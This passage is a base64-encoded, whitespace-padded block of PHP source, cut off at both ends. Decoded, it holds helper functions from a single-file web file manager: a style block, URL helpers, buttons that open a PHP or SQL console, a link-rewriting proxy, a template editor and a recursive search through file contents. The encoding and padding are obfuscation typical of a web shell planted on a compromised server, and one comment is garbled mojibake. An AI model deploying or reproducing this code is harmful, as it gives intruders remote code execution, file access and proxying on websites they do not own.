ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXsNCg0KCSAgICAgcmV0dXJuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaW5wdXQsIGlucHV0LmZtX2lucHV0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdGV4dC1pbmRlbnQ6IDJweDsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgY29sb3I6IGJsYWNrOw0KDQoJICAgICBmb250OiBub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJICAgICBib3JkZXItY29sb3I6IGJsYWNrOw0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoJICAgICBib3JkZXItcmFkaXVzOiAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBwYWRkaW5nOiAycHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQppbnB1dC5mbV9pbnB1dCB7DQoNCgkgICAgIGJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KDQoJICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQouaG9tZSB7DQoNCgkgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWdSUVRGUkYvZjM5Nk9qby8vLy90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyLzdCTS83Qk9xVnBjLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWL1B6ODJTMGpueDBXM1RVa3FTZ2k0ZUhoNFRzcmU0d29zejAyNnVQanpHWWQ2VXMzeW5BeWRVQkE1S2wzZm01ZXFaYVc3T0RnaTJWZytQajR1WStFd0xtNWJZOVUvLzdqZkx0Qyt0T0szamNtLzcxdTJqWW8xVVloNWFKbC9zZUMzakVtMTJrbUpySUExak1tLzlhVTRMaDBlMDFCbElhRS8vL2RoTWRDN0lBLy9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTi8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMKy9qbDFjNDFBcStmYjJnbXRJMXJLYTJDNGtKYUlBM2pZcmxUdzV0ajQyM2pZbjNjWEUxelFveE1IQnAxbFozRGdtcWlrcy8rbWNqTEs4M2pZa3ltTVYzVFlrLy9ITSt1N1dobXRyMG9kVHBhT2pmV0pmckhwZy84QnMvN3RXLzdWZSs0VTUyRE1tM01MQm40cUxnTlZNNk16QjNsRWZsSXVMLytqQS8vLzIwTE96alh4OC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzYvZmpuczdPejJ0blp1ejg4N2IrVzNhUlkvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paVy85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqLytLdy9hNWQ2VU14dUw2d3pERXIvLy8vY3FKUWZBQUFBS3gwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1MvZk5NdGs0MHlaOUtWTFFoZ1lrdVk3TnhRdlh5SFZGTm5LelI2OXFweEJQTWV6MEVUQVF5VFV2U29nYUlGYVBjTnFWL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09Iik7DQoNCgkgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQoNCn0nOw0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkgew0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoNCgkgICAgIHJldHVybiAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IGlkPSJmbV9jb25maWdfJy4kdmFsdWUuJyIgbmFtZT0iZm1fY29uZmlnWycuJHZhbHVlLiddIiB2YWx1ZT0iMSIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD0idHJ1ZSInKS4nIHR5cGU9ImNoZWNrYm94Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iZm1fY29uZmlnXycuJHZhbHVlLiciPicuJG5hbWUuJzwvdGQ+PC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9wcm90b2NvbCgpIHsNCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldHVybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOi8vJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczovLyc7DQoNCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKSByZXR1cm4gJ2h0dHBzOi8vJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpIHJldHVybiAnaHR0cHM6Ly8nOw0KDQoJICAgICByZXR1cm4gJ2h0dHA6Ly8nOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9zaXRlX3VybCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQpmdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHsNCg0KCSAgICAgJGhvc3Q9JGZ1bGw/Zm1fc2l0ZV91cmwoKTonLic7DQoNCgkgICAgIHJldHVybiAkaG9zdC4nLycuYmFzZW5hbWUoX19GSUxFX18pOw0KDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1faG9tZSgkZnVsbD1mYWxzZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAnJm5ic3A7PGEgaHJlZj0iJy5mbV91cmwoJGZ1bGwpLiciIHRpdGxlPSInLl9fKCdIb21lJykuJyI+PHNwYW4gY2xhc3M9ImhvbWUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj48L2E+JzsNCg0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykgew0KDQoJICAgICBnbG9iYWwgJGZtX2NvbmZpZzsNCg0KCSAgICAgJHJldHVybiA9ICFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfJy4kbG5nLidfY29uc29sZSddKSA/IA0KDQoJICAgICAnDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy5mbV91cmwoKS4nIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IicuJGxuZy4ncnVuIiB2YWx1ZT0iJy5zdHJ0b3VwcGVyKCRsbmcpLicgJy5fXygnQ29uc29sZScpLiciPg0KDQoJICAgICAJICAgICAJICAgICAJICAgICA8L2Zvcm0+DQoNCicgOiAnJzsNCgkgICAgIHJldHVybiAkcmV0dXJuOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHsNCgkgICAgICRsaW5rID0gc3RyX3JlcGxhY2UoJyZhbXA7JywnJicsJG1hdGNoZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/JF9HRVRbJ3VybCddOicnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkcGFyc2VfdXJsID0gcGFyc2VfdXJsKCR1cmwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGhvc3QgPSAkcGFyc2VfdXJsWydzY2hlbWUnXS4nOi8vJy4kcGFyc2VfdXJsWydob3N0J10uJy8nOw0KDQoJICAgICBpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScvLycpIHsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluayxmbV9wcm90b2NvbCgpLDAsMik7DQoNCgkgICAgIH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7DQoNCgkgICAgIAkgICAgICRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwxKTsJICAgICANCgkgICAgIH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy4vJykgew0KDQoJICAgICAJICAgICAkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7CSAgICAgDQoJICAgICB9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykgew0KDQoJICAgICAJICAgICAvL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvbg0KCSAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRsaW5rID0gJGhvc3QuJGxpbms7DQoNCgkgICAgIH0gDQoJICAgICBpZiAoJG1hdGNoZXNbMV09PSdocmVmJyAmJiAhc3Rycmlwb3MoJGxpbmssICdjc3MnKSkgew0KDQoJICAgICAJICAgICAkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOw0KDQoJICAgICAJICAgICAkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9IGVsc2VpZiAoc3Rycmlwb3MoJGxpbmssICdjc3MnKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC8v77+93KfRp++/vS3vv73vv73vv70g77+977+977+92Kfvv70g77+977+977+91afep9an36fvv73vv73vv70g77+936fRp9Wn77+9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRtYXRjaGVzWzFdLic9IicuJGxpbmsuJyInOw0KDQp9DQoNCiANCg0KZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsNCg0KCSAgICAgZ2xvYmFsICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfTsNCg0KCSAgICAgJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7DQoJICAgICAkc3RyID0gJyc7DQoNCgkgICAgIGZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgew0KDQoJICAgICAJICAgICAkc3RyIC49ICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25hbWVbXSIgdmFsdWU9IicuJGt0cGwuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfdmFsdWVbXSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiPicuJHZ0cGwuJzwvdGV4dGFyZWE+IDxpbnB1dCBuYW1lPSJkZWxfJy5yYW5kKCkuJyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTsiIHZhbHVlPSInLl9fKCdEZWxldGUnKS4nIi8+PC90ZD48L3RyPic7DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpyZXR1cm4gJw0KDQo8dGFibGU+DQo8dHI+PHRoIGNvbHNwYW49IjIiPicuc3RydG91cHBlcigkbG5nX3RwbCkuJyAnLl9fKCd0ZW1wbGF0ZXMnKS4nICcuZm1fcnVuX2lucHV0KCRsbmdfdHBsKS4nPC90aD48L3RyPg0KDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY2xhc3M9InJvdzEiPicuX18oJ05hbWUnKS4nPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1ZhbHVlJykuJzwvdGQ+PC90cj4NCicuJHN0ci4nDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCBuYW1lPSJyZXMiIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0iZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcJzsiIHZhbHVlPSInLl9fKCdSZXNldCcpLiciLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPg0KDQo8L2Zvcm0+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmV3X25hbWUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ05hbWUnKS4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ19uZXdfdmFsdWUiICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdWYWx1ZScpLiciPjwvdGV4dGFyZWE+PC90ZD48L3RyPg0KDQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnQWRkJykuJyIgPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQonOw0KfQ0KDQoNCmZ1bmN0aW9uIGZpbmRfdGV4dF9pbl9maWxlQXJyYXkoJGRpciwgJG1hc2ssICR0ZXh0KSB7DQogICAgJHJlc3VsdHMgPSBhcnJheSgpOw0KDQogICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZW50cnkgIT0gIi4iICYmICRlbnRyeSAhPSAiLi4iKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuICIvIiAuICRlbnRyeTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdHMsIGZpbmRfdGV4dF9pbl9maWxlQXJyYXkoJHBhdGgsICRtYXNrLCAkdGV4dCkpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZubWF0Y2goJG1hc2ssICRlbnRyeSkpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50cywgJHRleHQpICE9PSBmYWxzZSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHJlc3VsdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC